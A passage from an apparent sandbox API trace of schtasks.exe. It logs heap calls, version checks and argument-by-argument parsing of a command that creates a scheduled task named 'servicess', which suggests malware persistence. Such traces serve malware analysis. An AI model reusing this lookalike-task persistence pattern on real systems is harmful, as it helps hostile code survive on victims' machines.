hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf10 | out: hHeap=0x200000) returned 1 [0060.506] GetProcessHeap () returned 0x200000 [0060.506] GetProcessHeap () returned 0x200000 [0060.506] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6a0) returned 1 [0060.506] GetProcessHeap () returned 0x200000 [0060.506] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d6a0) returned 0x10 [0060.506] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6a0 | out: hHeap=0x200000) returned 1 [0060.506] GetProcessHeap () returned 0x200000 [0060.506] GetProcessHeap () returned 0x200000 [0060.507] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf40) returned 1 [0060.507] GetProcessHeap () returned 0x200000 [0060.507] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf40) returned 0x20 [0060.507] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf40 | out: hHeap=0x200000) returned 1 [0060.507] GetProcessHeap () returned 0x200000 [0060.507] GetProcessHeap () returned 0x200000 [0060.507] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21df90) returned 1 [0060.507] GetProcessHeap () returned 0x200000 [0060.507] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21df90) returned 0x6 [0060.507] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21df90 | out: hHeap=0x200000) returned 1 [0060.507] GetProcessHeap () returned 0x200000 [0060.507] GetProcessHeap () returned 0x200000 [0060.507] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf70) returned 1 [0060.507] GetProcessHeap () returned 0x200000 [0060.507] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf70) returned 0x20 [0060.508] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf70 | out: hHeap=0x200000) returned 1 [0060.508] GetProcessHeap () returned 0x200000 [0060.508] GetProcessHeap () returned 0x200000 [0060.508] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215590) returned 1 [0060.508] GetProcessHeap () returned 0x200000 [0060.508] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215590) returned 0x18 [0060.508] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215590 | out: hHeap=0x200000) returned 1 [0060.508] SetLastError (dwErrCode=0x0) [0060.508] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0060.508] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0060.508] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0060.509] VerifyVersionInfoW (in: lpVersionInformation=0x19c5f0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19c5f0) returned 1 [0060.509] SetLastError (dwErrCode=0x0) [0060.509] lstrlenW (lpString="create") returned 6 [0060.509] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0060.509] SetLastError (dwErrCode=0x490) [0060.509] SetLastError (dwErrCode=0x0) [0060.509] lstrlenW (lpString="create") returned 6 [0060.509] GetProcessHeap () returned 0x200000 [0060.509] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf70 [0060.509] GetProcessHeap () returned 0x200000 [0060.509] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21d6a0 [0060.509] _memicmp (_Buf1=0x21d6a0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.509] GetProcessHeap () returned 0x200000 [0060.509] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x16) returned 0x21d6c0 [0060.509] SetLastError (dwErrCode=0x0) [0060.509] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.509] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0060.509] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0060.509] GetProcessHeap () returned 0x200000 [0060.509] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x74e) returned 0x21dee0 [0060.510] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x21dee0 | out: lpData=0x21dee0) returned 1 [0060.510] VerQueryValueW (in: pBlock=0x21dee0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19c6d8, puLen=0x19c740 | out: lplpBuffer=0x19c6d8*=0x21e27c, puLen=0x19c740) returned 1 [0060.510] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.510] _vsnwprintf (in: _Buffer=0x21bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19c6b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0060.510] VerQueryValueW (in: pBlock=0x21dee0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19c748, puLen=0x19c738 | out: lplpBuffer=0x19c748*=0x21e0a8, puLen=0x19c738) returned 1 [0060.510] lstrlenW (lpString="schtasks.exe") returned 12 [0060.510] lstrlenW (lpString="schtasks.exe") returned 12 [0060.510] lstrlenW (lpString=".EXE") returned 4 [0060.510] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0060.510] lstrlenW (lpString="schtasks.exe") returned 12 [0060.510] lstrlenW (lpString=".EXE") returned 4 [0060.510] lstrlenW (lpString="schtasks") returned 8 [0060.510] lstrlenW (lpString="/create") returned 7 [0060.510] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.510] _vsnwprintf (in: _Buffer=0x21bd90, _BufferCount=0x19, _Format="%s %s", _ArgList=0x19c6b8 | out: _Buffer="schtasks /create") returned 16 [0060.510] _memicmp (_Buf1=0x21bc10, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.510] GetProcessHeap () returned 0x200000 [0060.510] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf40 [0060.510] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.511] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0060.511] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0060.511] GetProcessHeap () returned 0x200000 [0060.511] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x30) returned 0x217c50 [0060.511] _vsnwprintf (in: _Buffer=0x21c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19c6b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0060.511] GetProcessHeap () returned 0x200000 [0060.511] GetProcessHeap () returned 0x200000 [0060.511] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dee0) returned 1 [0060.511] GetProcessHeap () returned 0x200000 [0060.511] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dee0) returned 0x74e [0060.511] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dee0 | out: hHeap=0x200000) returned 1 [0060.511] SetLastError (dwErrCode=0x0) [0060.511] GetThreadLocale () returned 0x409 [0060.511] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.511] lstrlenW (lpString="create") returned 6 [0060.511] GetThreadLocale () returned 0x409 [0060.511] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.511] lstrlenW (lpString="?") returned 1 [0060.512] GetThreadLocale () returned 0x409 [0060.512] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.512] lstrlenW (lpString="s") returned 1 [0060.512] GetThreadLocale () returned 0x409 [0060.512] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.512] lstrlenW (lpString="u") returned 1 [0060.512] GetThreadLocale () returned 0x409 [0060.512] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.512] lstrlenW (lpString="p") returned 1 [0060.512] GetThreadLocale () returned 0x409 [0060.512] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.512] lstrlenW (lpString="ru") returned 2 [0060.512] GetThreadLocale () returned 0x409 [0060.512] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.512] lstrlenW (lpString="rp") returned 2 [0060.512] GetThreadLocale () returned 0x409 [0060.512] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.512] lstrlenW (lpString="sc") returned 2 [0060.512] GetThreadLocale () returned 0x409 [0060.512] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.512] lstrlenW (lpString="mo") returned 2 [0060.512] GetThreadLocale () returned 0x409 [0060.512] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.512] lstrlenW (lpString="d") returned 1 [0060.512] GetThreadLocale () returned 0x409 [0060.512] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.512] lstrlenW (lpString="m") returned 1 [0060.512] GetThreadLocale () returned 0x409 [0060.512] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.513] lstrlenW (lpString="i") returned 1 [0060.513] GetThreadLocale () returned 0x409 [0060.513] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.513] lstrlenW (lpString="tn") returned 2 [0060.513] GetThreadLocale () returned 0x409 [0060.513] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.513] lstrlenW (lpString="tr") returned 2 [0060.513] GetThreadLocale () returned 0x409 [0060.513] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.513] lstrlenW (lpString="st") returned 2 [0060.513] GetThreadLocale () returned 0x409 [0060.513] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.513] lstrlenW (lpString="sd") returned 2 [0060.513] GetThreadLocale () returned 0x409 [0060.513] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.513] lstrlenW (lpString="ed") returned 2 [0060.513] GetThreadLocale () returned 0x409 [0060.513] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.513] lstrlenW (lpString="it") returned 2 [0060.513] GetThreadLocale () returned 0x409 [0060.513] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.513] lstrlenW (lpString="et") returned 2 [0060.513] GetThreadLocale () returned 0x409 [0060.513] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.513] lstrlenW (lpString="k") returned 1 [0060.513] GetThreadLocale () returned 0x409 [0060.513] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.513] lstrlenW (lpString="du") returned 2 [0060.513] GetThreadLocale () returned 0x409 [0060.513] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.514] lstrlenW (lpString="ri") returned 2 [0060.514] GetThreadLocale () returned 0x409 [0060.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.514] lstrlenW (lpString="z") returned 1 [0060.514] GetThreadLocale () returned 0x409 [0060.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.514] lstrlenW (lpString="f") returned 1 [0060.514] GetThreadLocale () returned 0x409 [0060.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.514] lstrlenW (lpString="v1") returned 2 [0060.514] GetThreadLocale () returned 0x409 [0060.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.514] lstrlenW (lpString="xml") returned 3 [0060.514] GetThreadLocale () returned 0x409 [0060.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.514] lstrlenW (lpString="ec") returned 2 [0060.514] GetThreadLocale () returned 0x409 [0060.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.514] lstrlenW (lpString="rl") returned 2 [0060.514] GetThreadLocale () returned 0x409 [0060.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.514] lstrlenW (lpString="delay") returned 5 [0060.514] GetThreadLocale () returned 0x409 [0060.514] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.514] lstrlenW (lpString="np") returned 2 [0060.514] SetLastError (dwErrCode=0x0) [0060.514] SetLastError (dwErrCode=0x0) [0060.515] lstrlenW (lpString="/create") returned 7 [0060.515] lstrlenW (lpString="-/") returned 2 [0060.515] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.515] lstrlenW (lpString="create") returned 6 [0060.515] lstrlenW (lpString="create") returned 6 [0060.515] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.515] lstrlenW (lpString="create") returned 6 [0060.515] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.515] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|create|") returned 8 [0060.515] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|create|") returned 8 [0060.515] lstrlenW (lpString="|create|") returned 8 [0060.515] lstrlenW (lpString="|create|") returned 8 [0060.515] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0060.515] SetLastError (dwErrCode=0x0) [0060.515] SetLastError (dwErrCode=0x0) [0060.515] SetLastError (dwErrCode=0x0) [0060.515] lstrlenW (lpString="/tn") returned 3 [0060.515] lstrlenW (lpString="-/") returned 2 [0060.515] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.515] lstrlenW (lpString="create") returned 6 [0060.515] lstrlenW (lpString="create") returned 6 [0060.515] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.515] lstrlenW (lpString="tn") returned 2 [0060.515] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.516] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|create|") returned 8 [0060.516] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.516] lstrlenW (lpString="|create|") returned 8 [0060.516] lstrlenW (lpString="|tn|") returned 4 [0060.516] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0060.516] SetLastError (dwErrCode=0x490) [0060.516] lstrlenW (lpString="?") returned 1 [0060.516] lstrlenW (lpString="?") returned 1 [0060.516] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.516] lstrlenW (lpString="tn") returned 2 [0060.516] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.516] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|?|") returned 3 [0060.516] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.516] lstrlenW (lpString="|?|") returned 3 [0060.516] lstrlenW (lpString="|tn|") returned 4 [0060.516] SetLastError (dwErrCode=0x490) [0060.516] lstrlenW (lpString="s") returned 1 [0060.516] lstrlenW (lpString="s") returned 1 [0060.516] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.516] lstrlenW (lpString="tn") returned 2 [0060.516] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.516] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|s|") returned 3 [0060.516] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.516] lstrlenW (lpString="|s|") returned 3 [0060.516] lstrlenW (lpString="|tn|") returned 4 [0060.516] SetLastError (dwErrCode=0x490) [0060.517] lstrlenW (lpString="u") returned 1 [0060.517] lstrlenW (lpString="u") returned 1 [0060.517] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.517] lstrlenW (lpString="tn") returned 2 [0060.517] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.517] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|u|") returned 3 [0060.517] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.517] lstrlenW (lpString="|u|") returned 3 [0060.517] lstrlenW (lpString="|tn|") returned 4 [0060.517] SetLastError (dwErrCode=0x490) [0060.517] lstrlenW (lpString="p") returned 1 [0060.517] lstrlenW (lpString="p") returned 1 [0060.517] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.517] lstrlenW (lpString="tn") returned 2 [0060.517] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.517] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|p|") returned 3 [0060.517] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.517] lstrlenW (lpString="|p|") returned 3 [0060.517] lstrlenW (lpString="|tn|") returned 4 [0060.517] SetLastError (dwErrCode=0x490) [0060.517] lstrlenW (lpString="ru") returned 2 [0060.517] lstrlenW (lpString="ru") returned 2 [0060.517] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.517] lstrlenW (lpString="tn") returned 2 [0060.517] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.517] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|ru|") returned 4 [0060.518] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.518] lstrlenW (lpString="|ru|") returned 4 [0060.518] lstrlenW (lpString="|tn|") returned 4 [0060.518] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0060.518] SetLastError (dwErrCode=0x490) [0060.518] lstrlenW (lpString="rp") returned 2 [0060.518] lstrlenW (lpString="rp") returned 2 [0060.518] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.518] lstrlenW (lpString="tn") returned 2 [0060.518] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.518] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rp|") returned 4 [0060.518] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.518] lstrlenW (lpString="|rp|") returned 4 [0060.518] lstrlenW (lpString="|tn|") returned 4 [0060.518] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0060.518] SetLastError (dwErrCode=0x490) [0060.518] lstrlenW (lpString="sc") returned 2 [0060.518] lstrlenW (lpString="sc") returned 2 [0060.518] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.518] lstrlenW (lpString="tn") returned 2 [0060.518] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.518] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.518] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.518] lstrlenW (lpString="|sc|") returned 4 [0060.518] lstrlenW (lpString="|tn|") returned 4 [0060.518] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0060.519] SetLastError (dwErrCode=0x490) [0060.519] lstrlenW (lpString="mo") returned 2 [0060.519] lstrlenW (lpString="mo") returned 2 [0060.519] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.519] lstrlenW (lpString="tn") returned 2 [0060.519] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.519] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.519] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.519] lstrlenW (lpString="|mo|") returned 4 [0060.519] lstrlenW (lpString="|tn|") returned 4 [0060.519] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0060.519] SetLastError (dwErrCode=0x490) [0060.519] lstrlenW (lpString="d") returned 1 [0060.519] lstrlenW (lpString="d") returned 1 [0060.519] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.519] lstrlenW (lpString="tn") returned 2 [0060.519] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.519] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|d|") returned 3 [0060.519] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.519] lstrlenW (lpString="|d|") returned 3 [0060.519] lstrlenW (lpString="|tn|") returned 4 [0060.519] SetLastError (dwErrCode=0x490) [0060.519] lstrlenW (lpString="m") returned 1 [0060.519] lstrlenW (lpString="m") returned 1 [0060.519] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.519] lstrlenW (lpString="tn") returned 2 [0060.519] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.520] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|m|") returned 3 [0060.520] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.520] lstrlenW (lpString="|m|") returned 3 [0060.520] lstrlenW (lpString="|tn|") returned 4 [0060.520] SetLastError (dwErrCode=0x490) [0060.520] lstrlenW (lpString="i") returned 1 [0060.520] lstrlenW (lpString="i") returned 1 [0060.520] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.520] lstrlenW (lpString="tn") returned 2 [0060.520] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.520] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|i|") returned 3 [0060.520] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.520] lstrlenW (lpString="|i|") returned 3 [0060.520] lstrlenW (lpString="|tn|") returned 4 [0060.521] SetLastError (dwErrCode=0x490) [0060.521] lstrlenW (lpString="tn") returned 2 [0060.521] lstrlenW (lpString="tn") returned 2 [0060.521] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.521] lstrlenW (lpString="tn") returned 2 [0060.521] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.521] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.521] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.521] lstrlenW (lpString="|tn|") returned 4 [0060.521] lstrlenW (lpString="|tn|") returned 4 [0060.521] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0060.521] SetLastError (dwErrCode=0x0) [0060.521] SetLastError (dwErrCode=0x0) [0060.521] lstrlenW (lpString="servicess") returned 9 [0060.521] lstrlenW (lpString="-/") returned 2 [0060.521] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0060.521] SetLastError (dwErrCode=0x490) [0060.521] SetLastError (dwErrCode=0x490) [0060.521] SetLastError (dwErrCode=0x0) [0060.521] lstrlenW (lpString="servicess") returned 9 [0060.521] StrChrIW (lpStart="servicess", wMatch=0x3a) returned 0x0 [0060.521] SetLastError (dwErrCode=0x490) [0060.521] SetLastError (dwErrCode=0x0) [0060.521] lstrlenW (lpString="servicess") returned 9 [0060.521] SetLastError (dwErrCode=0x0) [0060.521] SetLastError (dwErrCode=0x0) [0060.521] lstrlenW (lpString="/sc") returned 3 [0060.521] lstrlenW (lpString="-/") returned 2 [0060.521] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.522] lstrlenW (lpString="create") returned 6 [0060.522] lstrlenW (lpString="create") returned 6 [0060.522] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.522] lstrlenW (lpString="sc") returned 2 [0060.522] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.522] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|create|") returned 8 [0060.522] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.522] lstrlenW (lpString="|create|") returned 8 [0060.522] lstrlenW (lpString="|sc|") returned 4 [0060.522] StrStrIW 